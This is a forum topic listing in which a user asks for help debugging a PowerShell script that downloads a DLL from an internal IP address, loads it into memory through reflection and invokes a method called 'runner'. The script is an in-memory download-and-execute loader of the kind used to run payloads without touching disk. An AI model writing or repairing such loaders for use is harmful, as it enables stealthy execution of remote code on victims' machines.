assembly
2 TopicsPowershell Execute a specific method from an assembly
Hello, I'm trying to execute this script.ps1 in my vm of Windows 10 This variables gives me problems : $method= $class.GetMethod("runner") $method.Invoke(0, $null) It cannot call method value of null invalid operation runtime exception This is the code: $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')$assem = [System.Reflection.Assembly]::Load($data)$class = $assem.GetType("ClassLibrary1.Class1")$method = $class.GetMethod("runner")$method.Invoke(0, $null) What can i do? ThanksSolved4.8KViews0likes2Comments